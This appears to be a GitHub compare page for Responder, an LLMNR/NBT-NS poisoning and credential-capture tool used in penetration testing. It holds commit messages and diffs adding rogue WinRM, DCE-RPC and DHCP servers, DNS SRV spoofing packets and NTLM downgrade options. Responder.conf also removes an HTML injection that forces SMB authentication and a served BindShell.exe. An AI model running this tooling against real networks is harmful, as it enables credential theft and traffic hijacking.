Compare commits

...

59 Commits

Author SHA1 Message Date
lgandx
d425783be9 Removed old DHCP script since its now a Responder module. 2021-12-03 00:08:40 -03:00
lgandx
de778f6698 removed default certs 2021-12-03 00:05:21 -03:00
lgandx
21afd357f8 Removed the static certs and added automatic cert generation 2021-12-03 00:03:01 -03:00
lgandx
a567d3dc31 minor bug when no RunFinger has been launched. 2021-12-02 22:04:32 -03:00
lgandx
f90b76fed2 Added DB for RunFinger results & Report 2021-12-02 22:01:18 -03:00
lgandx
51411e6b20 few enhancements 2021-12-01 00:08:54 -03:00
lgandx
826b5af9e2 removed debug str 2021-11-30 23:50:00 -03:00
lgandx
29ae6eca2e Merge branch 'master' of https://github.com/lgandx/Responder 2021-11-30 23:43:05 -03:00
lgandx
a462d1df06 added timeout option for fine tuning 2021-11-30 23:42:04 -03:00
lgandx
110f565bbd Merge pull request #136 from ghost/patch-2
Correct Analyze log filename
2021-11-30 22:47:43 -03:00
lgandx
88a2c6a53b fix: DHCP now working on VPN interface 2021-11-30 22:38:07 -03:00
lgandx
1dfa997da8 added DHCP db & updated the report script to reflect that 2021-11-30 22:21:55 -03:00
lgandx
0bf23d632b DHCP: Added auto WPADscript configuration with our IP instead of hardcoded NBT string 2021-11-20 21:36:00 -03:00
lgandx
02fb3f8978 Added support for single IP or range file. 2021-11-20 20:35:33 -03:00
lgandx
1b2a22facf Fixed a bug and increased speed. 2021-11-20 20:11:58 -03:00
lgandx
7bdfe7bbdd Merge branch 'master' of https://github.com/lgandx/Responder 2021-10-25 22:52:35 -03:00
lgandx
c449b6bcb9 Added DHCP server 2021-10-25 22:51:39 -03:00
lgandx
88ea72908c Added DHCP server 2021-10-25 22:41:01 -03:00
lgandx
3fe574683b Merge pull request #163 from Hackndo/master
Add ESS downgrade parameter
2021-05-17 21:33:16 -03:00
Pixis
dcb80d992e Add --lm switch for ESS downgrade 2021-05-16 09:55:32 +02:00
Pixis
51f8ab4368 Add ESS disabling information 2021-05-16 09:54:21 +02:00
pixis
baf80aa4f0 Add ESS downgrade parameter 2021-05-14 11:45:18 +02:00
lgandx
ae1c2be51c minor fix 2021-05-09 19:02:42 -03:00
lgandx
4231532926 minor fix 2021-05-06 19:56:37 -03:00
lgandx
350058c179 fixed minor isse 2021-04-20 13:09:00 -03:00
lgandx
79dfe8ebd0 Merge branch 'master' of https://github.com/lgandx/Responder 2021-04-19 18:14:13 -03:00
lgandx
85315442bd Added WinRM rogue server 2021-04-19 18:12:27 -03:00
lgandx
35a02e389b Update README.md 2021-04-19 12:50:44 -03:00
lgandx
b779d1b494 Update README.md 2021-04-19 12:38:21 -03:00
lgandx
53d66e3816 Update README.md 2021-04-19 12:29:36 -03:00
lgandx
72070a02eb Merge pull request #155 from HexPandaa/patch-1
Compare values with `==` instead of `is`
2021-04-19 12:14:04 -03:00
lgandx
465f730846 Update README.md 2021-04-19 01:32:38 -03:00
lgandx
0b669c305d Update README.md
Added Synacktiv as major donor.
2021-04-16 22:32:51 -03:00
lgandx
8f74fdaf46 forgot to add packets.py 2021-04-16 21:42:22 -03:00
lgandx
e91e37c974 Added dce-rpc module + enhancements + bug fix. 2021-04-16 21:35:32 -03:00
lgandx
027e6b95c3 removed addiontional RR on SRV answers 2021-04-14 02:39:46 -03:00
lgandx
1271b8e179 Added DNS SRV handling for ldap/kerberos + LDAP netlogon ping 2021-04-12 20:42:36 -03:00
lgandx
d01bbaafae Update README.md 2021-04-05 20:49:54 -03:00
lgandx
e55eeed3d4 Update README.md 2021-04-05 03:15:39 -03:00
HexPandaa
7d96fa95c4 Compare strings with == instead of is
`==` should be used when comparing values, `is` should be used to compare identities.
Modern versions of Python throw a SyntaxWarning.
2021-04-02 17:13:05 +02:00
HexPandaa
51f176633e Compare values with == instead of is
`==` should be used when comparing values, `is` should be used to compare identities.
Modern versions of Python throw a SyntaxWarning.
2021-04-02 17:10:17 +02:00
HexPandaa
3d9147f36c Compare strings with == instead of is
`==` should be used when comparing values, `is` should be used to compare identities.
Modern versions of Python throw a SyntaxWarning.
2021-04-02 17:04:36 +02:00
HexPandaa
f4c11111a7 Compare strings with == instead of is
`==` should be used when comparing values, `is` should be used to compare identities.
Modern versions of Python throw a SyntaxWarning.
2021-04-02 17:03:56 +02:00
HexPandaa
c33da69a8b Use == instead of is
`==` should be used when comparing values, `is` should be used to compare identities.
2021-04-02 17:00:35 +02:00
lgandx
6c51080109 removed FindSMB2UPTime.py since RunFinger already get this info 2021-03-26 01:43:03 -03:00
lgandx
724cfecb5a minor fix 2021-03-26 00:10:14 -03:00
lgandx
3b3ee1314e Ported DHCP.py to py3 2021-03-25 23:34:16 -03:00
lgandx
6658c2b98f made compatible py2/py3 2021-03-25 23:06:48 -03:00
lgandx
5c56c6e0ca Ported to py3 2021-03-25 21:55:56 -03:00
lgandx
35b12b4832 Removed MultiRelay binaries 2021-03-20 14:25:39 -03:00
lgandx
cc3a5b5cff added a check for exec file 2021-03-20 10:22:52 -03:00
lgandx
5d762c4a55 Removed BindShell executable file 2021-03-20 10:10:49 -03:00
lgandx
ccee87aa95 Removed donation banner 2021-03-20 09:23:30 -03:00
lgandx
dd1a674080 removed verification 2021-03-20 09:20:32 -03:00
lgandx
4b02bcadf1 google verification 2021-03-20 09:13:42 -03:00
lgandx
8104139a35 Added donation banner. 2021-02-10 13:09:07 -03:00
lgandx
06f9f91f11 added donation address and minor typo 2021-02-10 11:09:15 -03:00
lgandx
b0f044fe4e added smb filetime support 2021-02-08 22:18:41 -03:00
Laban Sköllermark
e8e3f155f2 Correct Analyze log filename
The default filename for Analyze logs is Analyzer-Session.log, not
Analyze-Session.log.
2020-09-30 16:07:14 +02:00
36 changed files with 2043 additions and 799 deletions

46
README.md Normal file → Executable file
View File

@@ -10,21 +10,21 @@ Author: Laurent Gaffie <laurent.gaffie@gmail.com > https://g-laurent.blogspot.c
Responder is an LLMNR, NBT-NS and MDNS poisoner. It will answer to *specific* NBT-NS (NetBIOS Name Service) queries based on their name suffix (see: http://support.microsoft.com/kb/163409). By default, the tool will only answer to File Server Service request, which is for SMB.
The concept behind this is to target our answers, and be stealthier on the network. This also helps to ensure that we don't break legitimate NBT-NS behavior. You can set the -r option via command line if you want to answer to the Workstation Service request name suffix.
The concept behind this is to target our answers, and be stealthier on the network. This also helps to ensure that we don't break legitimate NBT-NS behavior. You can set the -r option via command line if you want to answer to the Workstation Service request name suffix. The option -d is also available if you want to poison Domain Service name queries.
## Features ##
- Built-in SMB Auth server.
Supports NTLMv1, NTLMv2 hashes with Extended Security NTLMSSP by default. Successfully tested from Windows 95 to Server 2012 RC, Samba and Mac OSX Lion. Clear text password is supported for NT4, and LM hashing downgrade when the --lm option is set. SMBv2 has also been implemented and is supported by default.
Supports NTLMv1, NTLMv2 hashes with Extended Security NTLMSSP by default. Successfully tested from Windows 95 to Server 2022, Samba and Mac OSX Lion. Clear text password is supported for NT4, and LM hashing downgrade when the --lm option is set. If --disable-ess is set, extended session security will be disabled for NTLMv1 authentication. SMBv2 has also been implemented and is supported by default.
- Built-in MSSQL Auth server.
In order to redirect SQL Authentication to this tool, you will need to set the option -r (NBT-NS queries for SQL Server lookup are using the Workstation Service name suffix) for systems older than windows Vista (LLMNR will be used for Vista and higher). This server supports NTLMv1, LMv2 hashes. This functionality was successfully tested on Windows SQL Server 2005 & 2008.
In order to redirect SQL Authentication to this tool, you will need to set the option -r (NBT-NS queries for SQL Server lookup are using the Workstation Service name suffix) for systems older than windows Vista (LLMNR will be used for Vista and higher). This server supports NTLMv1, LMv2 hashes. This functionality was successfully tested on Windows SQL Server 2005, 2008, 2012, 2019.
- Built-in HTTP Auth server.
In order to redirect HTTP Authentication to this tool, you will need to set the option -r for Windows version older than Vista (NBT-NS queries for HTTP server lookup are sent using the Workstation Service name suffix). For Vista and higher, LLMNR will be used. This server supports NTLMv1, NTLMv2 hashes *and* Basic Authentication. This server was successfully tested on IE 6 to IE 10, Firefox, Chrome, Safari.
In order to redirect HTTP Authentication to this tool, you will need to set the option -r for Windows version older than Vista (NBT-NS queries for HTTP server lookup are sent using the Workstation Service name suffix). For Vista and higher, LLMNR will be used. This server supports NTLMv1, NTLMv2 hashes *and* Basic Authentication. This server was successfully tested on IE 6 to IE 11, Edge, Firefox, Chrome, Safari.
Note: This module also works for WebDav NTLM authentication issued from Windows WebDav clients (WebClient). You can now send your custom files to a victim.
@@ -34,7 +34,11 @@ Same as above. The folder certs/ contains 2 default keys, including a dummy pri
- Built-in LDAP Auth server.
In order to redirect LDAP Authentication to this tool, you will need to set the option -r for Windows version older than Vista (NBT-NS queries for HTTP server lookup are sent using the Workstation Service name suffix). For Vista and higher, LLMNR will be used. This server supports NTLMSSP hashes and Simple Authentication (clear text authentication). This server was successfully tested on Windows Support tool "ldp" and LdapAdmin.
In order to redirect LDAP Authentication to this tool, you will need to set the option -r for Windows version older than Vista (NBT-NS queries for LDAP server lookup are sent using the Workstation Service name suffix). For Vista and higher, LLMNR will be used. This server supports NTLMSSP hashes and Simple Authentication (clear text authentication). This server was successfully tested on Windows Support tool "ldp" and LdapAdmin.
- Built-in DCE-RPC Auth server.
In order to redirect DCE-RPC Authentication to this tool, you will need to set the option -r and -d (NBT-NS queries for DCE-RPC server lookup are sent using the Workstation and Domain Service name suffix). For Vista and higher, LLMNR will be used. This server supports NTLMSSP hashes. This server was successfully tested on Windows XP to Server 2019.
- Built-in FTP, POP3, IMAP, SMTP Auth servers.
@@ -42,7 +46,7 @@ This modules will collect clear text credentials.
- Built-in DNS server.
This server will answer type A queries. This is really handy when it's combined with ARP spoofing.
This server will answer type SRV and A queries. This is really handy when it's combined with ARP spoofing.
- Built-in WPAD Proxy Server.
@@ -66,7 +70,7 @@ For MITM on Windows XP/2003 and earlier Domain members. This attack combined wit
python tools/DHCP.py
DHCP Inform Spoofing. Allows you to let the real DHCP Server issue IP addresses, and then send a DHCP Inform answer to set your IP address as a primary DNS server, and your own WPAD URL.
DHCP Inform Spoofing. Allows you to let the real DHCP Server issue IP addresses, and then send a DHCP Inform answer to set your IP address as a primary DNS server, and your own WPAD URL. To inject a DNS server, domain, route on all Windows version and any linux box, use -R
- Analyze mode.
@@ -81,7 +85,7 @@ All hashes are printed to stdout and dumped in a unique John Jumbo compliant fil
Log files are located in the "logs/" folder. Hashes will be logged and printed only once per user per hash type, unless you are using the Verbose mode (-v).
- Responder will log all its activity to Responder-Session.log
- Analyze mode will be logged to Analyze-Session.log
- Analyze mode will be logged to Analyzer-Session.log
- Poisoning will be logged to Poisoners-Session.log
Additionally, all captured hashed are logged into an SQLite database which you can configure in Responder.conf
@@ -89,7 +93,7 @@ Additionally, all captured hashed are logged into an SQLite database which you c
## Considerations ##
- This tool listens on several ports: UDP 137, UDP 138, UDP 53, UDP/TCP 389,TCP 1433, UDP 1434, TCP 80, TCP 139, TCP 445, TCP 21, TCP 3141,TCP 25, TCP 110, TCP 587, TCP 3128 and Multicast UDP 5553.
- This tool listens on several ports: UDP 137, UDP 138, UDP 53, UDP/TCP 389,TCP 1433, UDP 1434, TCP 80, TCP 135, TCP 139, TCP 445, TCP 21, TCP 3141,TCP 25, TCP 110, TCP 587, TCP 3128, Multicast UDP 5355 and 5353.
- If you run Samba on your system, stop smbd and nmbd and all other services listening on these ports.
@@ -159,32 +163,48 @@ Options:
with -r. Default: Off
--lm Force LM hashing downgrade for Windows XP/2003 and
earlier. Default: Off
--disable-ess Force ESS downgrade. Default: Off
-v, --verbose Increase verbosity.
## Donation ##
You can contribute to this project by donating to the following BTC address:
You can contribute to this project by donating to the following $XLM (Stellar Lumens) address:
1Pv9rZMNfy9hsW19eQhNGs22gY9sf6twjW
"GCGBMO772FRLU6V4NDUKIEXEFNVSP774H2TVYQ3WWHK4TEKYUUTLUKUH"
Or BTC address:
"1HkFmFs5fmbCoJ7ZM5HHbGgjyqemfU9o7Q"
## Acknowledgments ##
Late Responder development has been possible because of the donations received from individuals and companies.
We would like to thanks those major donator:
We would like to thanks those major sponsors:
- SecureWorks : https://www.secureworks.com/
- SecureWorks: https://www.secureworks.com/
- Synacktiv: https://www.synacktiv.com/
- Black Hills Information Security: http://www.blackhillsinfosec.com/
- TrustedSec: https://www.trustedsec.com/
- Red Siege Information Security: https://www.redsiege.com/
- Open-Sec: http://www.open-sec.com/
- And all, ALL the pentesters around the world who donated to this project.
Thank you.
## Official Discord Channel
Come hang out on Discord!
[![Porchetta Industries](https://discordapp.com/api/guilds/736724457258745996/widget.png?style=banner3)](https://discord.gg/sEkn3aa)
## Copyright ##
NBT-NS/LLMNR Responder

View File

@@ -31,6 +31,10 @@ def DbConnect():
cursor = sqlite3.connect("./Responder.db")
return cursor
def FingerDbConnect():
cursor = sqlite3.connect("./tools/RunFinger.db")
return cursor
def GetResponderData(cursor):
res = cursor.execute("SELECT * FROM Responder")
for row in res.fetchall():
@@ -39,7 +43,7 @@ def GetResponderData(cursor):
def GetResponderUsernamesStatistic(cursor):
res = cursor.execute("SELECT COUNT(DISTINCT UPPER(user)) FROM Responder")
for row in res.fetchall():
print(color('[+] In total {0} unique user accounts were captured.'.format(row[0]), code = 2, modifier = 1))
print(color('\n[+] In total {0} unique user accounts were captured.'.format(row[0]), code = 2, modifier = 1))
def GetResponderUsernames(cursor):
res = cursor.execute("SELECT DISTINCT user FROM Responder")
@@ -62,11 +66,20 @@ def GetUniqueLookups(cursor):
for row in res.fetchall():
print('IP: {0}, Protocol: {1}, Looking for name: {2}'.format(row[2], row[1], row[3]))
def GetUniqueDHCP(cursor):
res = cursor.execute("SELECT * FROM DHCP WHERE MAC in (SELECT DISTINCT UPPER(MAC) FROM DHCP)")
for row in res.fetchall():
print('MAC: {0}, IP: {1}, RequestedIP: {2}'.format(row[1], row[2], row[3]))
def GetRunFinger(cursor):
res = cursor.execute("SELECT * FROM RunFinger WHERE Host in (SELECT DISTINCT Host FROM RunFinger)")
for row in res.fetchall():
print(("{},['{}', Os:'{}', Build:'{}', Domain:'{}', Bootime:'{}', Signing:'{}', Null Session: '{}', RDP:'{}']".format(row[1], row[2], row[3], row[4], row[5], row[6], row[7], row[8], row[9])))
def GetStatisticUniqueLookups(cursor):
res = cursor.execute("SELECT COUNT(*) FROM Poisoned WHERE ForName in (SELECT DISTINCT UPPER(ForName) FROM Poisoned)")
for row in res.fetchall():
print(color('[+] In total {0} unique queries were poisoned.'.format(row[0]), code = 2, modifier = 1))
print(color('\n[+] In total {0} unique queries were poisoned.'.format(row[0]), code = 2, modifier = 1))
def SavePoisonersToDb(result):
@@ -82,8 +95,11 @@ def SaveToDb(result):
result[k] = ''
cursor = DbConnect()
print(color("[+] Generating report...", code = 3, modifier = 1))
print(color("[+] Unique lookups ordered by IP:", code = 2, modifier = 1))
print(color("[+] Generating report...\n", code = 3, modifier = 1))
print(color("[+] DHCP Query Poisoned:", code = 2, modifier = 1))
GetUniqueDHCP(cursor)
print(color("\n[+] Unique lookups ordered by IP:", code = 2, modifier = 1))
GetUniqueLookups(cursor)
GetStatisticUniqueLookups(cursor)
print(color("\n[+] Extracting captured usernames:", code = 2, modifier = 1))
@@ -91,5 +107,11 @@ GetResponderUsernames(cursor)
print(color("\n[+] Username details:", code = 2, modifier = 1))
GetResponderUsernamesWithDetails(cursor)
GetResponderUsernamesStatistic(cursor)
#print color("\n[+] Captured hashes:", code = 2, modifier = 1)
#GetResponderCompleteHash(cursor)
print color("\n[+] RunFinger Scanned Hosts:", code = 2, modifier = 1)
cursor.close()
try:
cursor = FingerDbConnect()
GetRunFinger(cursor)
except:
pass
print('\n')

13
Responder.conf Normal file → Executable file
View File

@@ -13,6 +13,8 @@ HTTP = On
HTTPS = On
DNS = On
LDAP = On
DCERPC = On
WINRM = On
; Custom challenge.
; Use "Random" for generating a random challenge for each requests (Default)
@@ -42,6 +44,7 @@ RespondTo =
; Example: RespondTo = WPAD, DEV, PROD, SQLINT
;RespondToName = WPAD, DEV, PROD, SQLINT
RespondToName =
; Specific IP Addresses not to respond to (default = None)
; Example: DontRespondTo = 10.20.1.100-150, 10.20.3.10
DontRespondTo =
@@ -80,18 +83,18 @@ Serve-Html = Off
HtmlFilename = files/AccessDenied.html
; Custom EXE File to serve
ExeFilename = files/BindShell.exe
ExeFilename = ;files/filetoserve.exe
; Name of the downloaded .exe that the client will see
ExeDownloadName = ProxyClient.exe
; Custom WPAD Script
WPADScript = function FindProxyForURL(url, host){if ((host == "localhost") || shExpMatch(host, "localhost.*") ||(host == "127.0.0.1") || isPlainHostName(host)) return "DIRECT"; if (dnsDomainIs(host, "ProxySrv")||shExpMatch(host, "(*.ProxySrv|ProxySrv)")) return "DIRECT"; return 'PROXY ProxySrv:3128; PROXY ProxySrv:3141; DIRECT';}
; Only set one if you really know what you're doing. Responder is taking care of that and inject the right one, with your current IP address.
WPADScript =
; HTML answer to inject in HTTP responses (before </body> tag).
; Set to an empty string to disable.
; In this example, we redirect make users' browsers issue a request to our rogue SMB server.
HTMLToInject = <img src='file://///RespProxySrv/pictures/logso.jpg' alt='Loading' height='1' width='1'>
; leave empty if you want to use the default one (redirect to SMB on your IP address).
HTMLToInject =
[HTTPS Server]

View File

@@ -1,4 +1,4 @@
#!/usr/bin/env python
#!/usr/bin/env python3
# This file is part of Responder, a network take-over set of tools
# created and maintained by Laurent Gaffie.
# email: laurent.gaffie@gmail.com
@@ -31,10 +31,9 @@ parser.add_option('-I','--interface', action="store", help="Network in
parser.add_option('-i','--ip', action="store", help="Local IP to use \033[1m\033[31m(only for OSX)\033[0m", dest="OURIP", metavar="10.0.0.21", default=None)
parser.add_option('-e', "--externalip", action="store", help="Poison all requests with another IP address than Responder's one.", dest="ExternalIP", metavar="10.0.0.22", default=None)
parser.add_option('-b', '--basic', action="store_true", help="Return a Basic HTTP authentication. Default: NTLM", dest="Basic", default=False)
parser.add_option('-r', '--wredir', action="store_true", help="Enable answers for netbios wredir suffix queries. Answering to wredir will likely break stuff on the network. Default: False", dest="Wredirect", default=False)
parser.add_option('-d', '--NBTNSdomain', action="store_true", help="Enable answers for netbios domain suffix queries. Answering to domain suffixes will likely break stuff on the network. Default: False", dest="NBTNSDomain", default=False)
parser.add_option('-d', '--DHCP', action="store_true", help="Enable answers for DHCP broadcast requests. This option will inject a WPAD server in the DHCP response. Default: False", dest="DHCP_On_Off", default=False)
parser.add_option('-f','--fingerprint', action="store_true", help="This option allows you to fingerprint a host that issued an NBT-NS or LLMNR query.", dest="Finger", default=False)
parser.add_option('-w','--wpad', action="store_true", help="Start the WPAD rogue proxy server. Default value is False", dest="WPAD_On_Off", default=False)
parser.add_option('-u','--upstream-proxy', action="store", help="Upstream HTTP proxy used by the rogue WPAD Proxy for outgoing requests (format: host:port)", dest="Upstream_Proxy", default=None)
@@ -43,13 +42,14 @@ parser.add_option('-F','--ForceWpadAuth', action="store_true", help="Force NTLM
parser.add_option('-P','--ProxyAuth', action="store_true", help="Force NTLM (transparently)/Basic (prompt) authentication for the proxy. WPAD doesn't need to be ON. This option is highly effective when combined with -r. Default: False", dest="ProxyAuth_On_Off", default=False)
parser.add_option('--lm', action="store_true", help="Force LM hashing downgrade for Windows XP/2003 and earlier. Default: False", dest="LM_On_Off", default=False)
parser.add_option('--disable-ess', action="store_true", help="Force ESS downgrade. Default: False", dest="NOESS_On_Off", default=False)
parser.add_option('-v','--verbose', action="store_true", help="Increase verbosity.", dest="Verbose")
options, args = parser.parse_args()
if not os.geteuid() == 0:
print(color("[!] Responder must be run as root."))
sys.exit(-1)
elif options.OURIP is None and IsOsX() is True:
elif options.OURIP == None and IsOsX() == True:
print("\n\033[1m\033[31mOSX detected, -i mandatory option is missing\033[0m\n")
parser.print_help()
exit(-1)
@@ -61,9 +61,6 @@ StartupMessage()
settings.Config.ExpandIPRanges()
if settings.Config.AnalyzeMode:
print(color('[i] Responder is in analyze mode. No NBT-NS, LLMNR, MDNS requests will be poisoned.', 3, 1))
#Create the DB, before we start Responder.
CreateResponderDb()
@@ -262,6 +259,14 @@ def main():
from servers.HTTP import HTTP
threads.append(Thread(target=serve_thread_tcp, args=(settings.Config.Bind_To, 80, HTTP,)))
if settings.Config.WinRM_On_Off:
from servers.WinRM import WinRM
threads.append(Thread(target=serve_thread_tcp, args=(settings.Config.Bind_To, 5985, WinRM,)))
if settings.Config.WinRM_On_Off:
from servers.WinRM import WinRM
threads.append(Thread(target=serve_thread_SSL, args=(settings.Config.Bind_To, 5986, WinRM,)))
if settings.Config.SSL_On_Off:
from servers.HTTP import HTTP
threads.append(Thread(target=serve_thread_SSL, args=(settings.Config.Bind_To, 443, HTTP,)))
@@ -270,6 +275,11 @@ def main():
from servers.RDP import RDP
threads.append(Thread(target=serve_thread_tcp, args=(settings.Config.Bind_To, 3389, RDP,)))
if settings.Config.DCERPC_On_Off:
from servers.RPC import RPCMap, RPCMapper
threads.append(Thread(target=serve_thread_tcp, args=(settings.Config.Bind_To, 135, RPCMap,)))
threads.append(Thread(target=serve_thread_tcp, args=(settings.Config.Bind_To, settings.Config.RPCPort, RPCMapper,)))
if settings.Config.WPAD_On_Off:
from servers.HTTP_Proxy import HTTP_Proxy
threads.append(Thread(target=serve_thread_tcp, args=(settings.Config.Bind_To, 3141, HTTP_Proxy,)))
@@ -307,8 +317,9 @@ def main():
threads.append(Thread(target=serve_thread_tcp, args=(settings.Config.Bind_To, 110, POP3,)))
if settings.Config.LDAP_On_Off:
from servers.LDAP import LDAP
from servers.LDAP import LDAP, CLDAP
threads.append(Thread(target=serve_thread_tcp, args=(settings.Config.Bind_To, 389, LDAP,)))
threads.append(Thread(target=serve_thread_udp, args=('', 389, CLDAP,)))
if settings.Config.SMTP_On_Off:
from servers.SMTP import ESMTP
@@ -328,7 +339,15 @@ def main():
thread.setDaemon(True)
thread.start()
print(color('[+]', 2, 1) + " Listening for events...")
print(color('\n[+]', 2, 1) + " Listening for events...\n")
if settings.Config.AnalyzeMode:
print(color('[+] Responder is in analyze mode. No NBT-NS, LLMNR, MDNS requests will be poisoned.', 3, 1))
if settings.Config.DHCP_On_Off:
from poisoners.DHCP import DHCP
DHCP()
while True:
time.sleep(1)

4
certs/gen-self-signed-cert.sh Normal file → Executable file
View File

@@ -1,3 +1,3 @@
#!/bin/bash
openssl genrsa -out responder.key 2048
openssl req -new -x509 -days 3650 -key responder.key -out responder.crt -subj "/"
openssl genrsa -out certs/responder.key 2048
openssl req -new -x509 -days 3650 -key certs/responder.key -out certs/responder.crt -subj "/"

View File

@@ -1,18 +0,0 @@
-----BEGIN CERTIFICATE-----
MIIC4TCCAcmgAwIBAgIUO+GAjgRhHP9zb1avAb9yg8JyGOgwDQYJKoZIhvcNAQEL
BQAwADAeFw0xOTA4MTYyMjA2MTFaFw0yOTA4MTMyMjA2MTFaMAAwggEiMA0GCSqG
SIb3DQEBAQUAA4IBDwAwggEKAoIBAQDVvbov/KiK+Xbv/bhGQBlgb9eVqIFDtTPd
0ZlLNOhRuHRUbw3XC3q3gPerfSE9ANeFUKfHpSUUA5AU4hjMSBMX1iUVR+OKgzTK
czE4kAJe1ZJpiB8TU6FBapQwOPv9M463BOQQ8lfmX+EWerT+XniMFAmxf8FS7e4/
V7JZbon7uU18fc6H8KxVaNCEM382SpL39zU7qRNVG65Jf4MejJZEk30GMC4m22Fb
to6f/WS1NBk4HMdLClyXZngPY0idCuCZX3KBQvYpS3e1gEBsUPV0fZBz/GnvoE4o
qTia83QJAkjZ0r77/NAptihsXrqB2VDuR6aP5Bf/YFr/U4H9y01lAgMBAAGjUzBR
MB0GA1UdDgQWBBTs2vL9sLFs/p78FXHfgz7Zk8ZEwTAfBgNVHSMEGDAWgBTs2vL9
sLFs/p78FXHfgz7Zk8ZEwTAPBgNVHRMBAf8EBTADAQH/MA0GCSqGSIb3DQEBCwUA
A4IBAQBIYrRgmGhAQr+VmyqSQcxYWW0GWKvGQwz5t1A8AoBe8d3SDb1mb/Lq/POx
jnF67dAifYbTzz6JWsxCFED2UP8OL3oij0dWTfvGO//6nwhVss2Or0WTdxkSQVE4
p4CElQYjvoYYhxuDzO3HsxqHBtxMOT+8fO/07aInxVWEtvmflNo3mxE4P7w6D8g5
v2jZNf8EjTDQOF90kjkGGhTU7j9hRewfxzBZZOvaHA+/XczJ3fARpdYrvtFvvjnH
Da1WjQDQhSLufZYcFrzd4i6pyXQYzevjgHSeFSJt78Hr0BxMkKzLAhsFmS6fiULm
iKqwycWcwlFFUDbwBuOyfbfwjtUf
-----END CERTIFICATE-----

View File

@@ -1,27 +0,0 @@
-----BEGIN RSA PRIVATE KEY-----
MIIEpQIBAAKCAQEA1b26L/yoivl27/24RkAZYG/XlaiBQ7Uz3dGZSzToUbh0VG8N
1wt6t4D3q30hPQDXhVCnx6UlFAOQFOIYzEgTF9YlFUfjioM0ynMxOJACXtWSaYgf
E1OhQWqUMDj7/TOOtwTkEPJX5l/hFnq0/l54jBQJsX/BUu3uP1eyWW6J+7lNfH3O
h/CsVWjQhDN/NkqS9/c1O6kTVRuuSX+DHoyWRJN9BjAuJtthW7aOn/1ktTQZOBzH
Swpcl2Z4D2NInQrgmV9ygUL2KUt3tYBAbFD1dH2Qc/xp76BOKKk4mvN0CQJI2dK+
+/zQKbYobF66gdlQ7kemj+QX/2Ba/1OB/ctNZQIDAQABAoIBAQCzi6i3XroF5ACx
IKSG/plSlSC3qtDLG4/yKXtn3Y25+ARgWNl7Zz0yoLdr6rTdFbP1XQdTgbpf0Y5a
vIKwN2syfsSv16+gTw8tcQ5LwUz8dNOEqr/P8FRpKypIR9YFoCWmQAmE4s5Lywa9
Z15avujsYniyDetLympz8yryTRTDyh+APgZH5uWzzUnJZx588YdhHAPNU8QgpqGY
HFpzoVyNcA16ptk/dW8+kqepBOn6Fx4NSqV+j81UnOTRhRCuEW2C4893pb9fqYYf
DrRWxkmgU+Ntq8UJso25QK97K7+pstJTGwRv4dRBtsYAfx+9JyaUmsiuC7xy2sDj
NuoQIw0BAoGBAPW6bMKOYPTmcNPxenjUHdRw7iYRQqL6EjehUFV0fqPayuEdKYre
hQYtr7KYOQOcNpRW8A6/Ki0Qr3OQOMlQQKzpblo2G9uXdVjfkQ4fq7E6RCGWOvGr
779EqwPnzXYuRHIb45oihdzlB5vhKrkYaLRcgqHeJPzghgGrxvkAgav1AoGBAN6t
AO1LI1xQsQ4enRZcchq35ueAvwIW3x48T3UEKBk4OpR1GwGFY/8WlMpONHPaBa8e
oLhHxd3GUZAx0ONRw9erLINJZg2BaGyoajR8xY4nE8lellKJG+enToBP1+ln2kwy
G3PjdhNM9q71UHac6bPlTGy5PZjUdEnltp9QhSWxAoGBAM70f/0sJQSdwJEAZAG3
xJfTtP9ishjJPOaVei8+uhoOf6gxA3fuCWM2vy9PfVVJD77Hqc8BuefSkbJm2SzT
5mS7BTH9OGEtoquDP4wBqHzPcepHuMUp5fXVQ6M6a5UJSqRAUOTUBqIQUuQ6M91I
bYbaEzt4+PXxs2tc3WuBvbSxAoGBAKIDV/BOwgyRvTDbv0mcu3yLH1qCxva7M10p
XlpySsaGrcCEL8D8j5PylxFWsz0zfP08GI3b0rAYchGq3SP3wrkxFvLyvWjIJfUg
2B0WRxq1feT+h/rHPWFfznL3JM3yvNbBgk3gSnGihr0nSYLziepUxDU61gFTWsTF
eQkTKb0RAoGAQmZ+FKGEek2QSvgXbOoO1O2ypQRwtB+LuAGUFv8dEvwAtKn6CZAK
jwzJEPnQ6t9fuNqe1iGJ2og4OQ4je93wxL8XMLI3oYWs+5FM8HaaqsYNVJWoRBFS
T5faW0yVyQt0MQ13xh2mE2IfZoHiKrXKPZmuLRh+/slGZFJtlAOBciM=
-----END RSA PRIVATE KEY-----

Binary file not shown.

632
packets.py Normal file → Executable file
View File

@@ -18,10 +18,12 @@
import struct
import settings
import codecs
import random
import re
from os import urandom
from base64 import b64decode, b64encode
from odict import OrderedDict
from utils import HTTPCurrentDate, RespondWithIPAton, StructPython2or3, NetworkRecvBufferPython2or3, StructWithLenPython2or3
from utils import HTTPCurrentDate, SMBTime, RespondWithIPAton, StructPython2or3, NetworkRecvBufferPython2or3, StructWithLenPython2or3
# Packet class handling all packet generation (see odict.py).
class Packet():
@@ -65,7 +67,7 @@ class NBT_Ans(Packet):
class DNS_Ans(Packet):
fields = OrderedDict([
("Tid", ""),
("Flags", "\x80\x10"),
("Flags", "\x85\x10"),
("Question", "\x00\x01"),
("AnswerRRS", "\x00\x01"),
("AuthorityRRS", "\x00\x00"),
@@ -88,6 +90,67 @@ class DNS_Ans(Packet):
self.fields["IP"] = RespondWithIPAton()
self.fields["IPLen"] = StructPython2or3(">h",self.fields["IP"])
class DNS_SRV_Ans(Packet):
fields = OrderedDict([
("Tid", ""),
("Flags", "\x85\x80"),
("Question", "\x00\x01"),
("AnswerRRS", "\x00\x01"),
("AuthorityRRS", "\x00\x00"),
("AdditionalRRS", "\x00\x00"),
("QuestionName", ""),
("QuestionNameNull", "\x00"),
("Type", "\x00\x21"),#srv
("Class", "\x00\x01"),
("AnswerPointer", "\xc0\x0c"),
("Type1", "\x00\x21"),#srv
("Class1", "\x00\x01"),
("TTL", "\x00\x00\x00\x1e"), #30 secs, don't mess with their cache for too long..
("RecordLen", ""),
("Priority", "\x00\x00"),
("Weight", "\x00\x64"),
("Port", "\x00\x00"),
("TargetLenPre", "\x0f"), # static, we provide netbios computer name 15 chars like Windows by default.
("TargetPrefix", ""),
("TargetLenSuff", ""),
("TargetSuffix", ""),
("TargetLenSuff2", ""),
("TargetSuffix2", ""),
("TargetNull", "\x00"),
])
def calculate(self,data):
self.fields["Tid"] = data[0:2]
DNSName = ''.join(data[12:].split('\x00')[:1])
SplitFQDN = re.split('\W+', DNSName) # split the ldap.tcp.blah.blah.blah.domain.tld
#What's the question? we need it first to calc all other len.
self.fields["QuestionName"] = DNSName
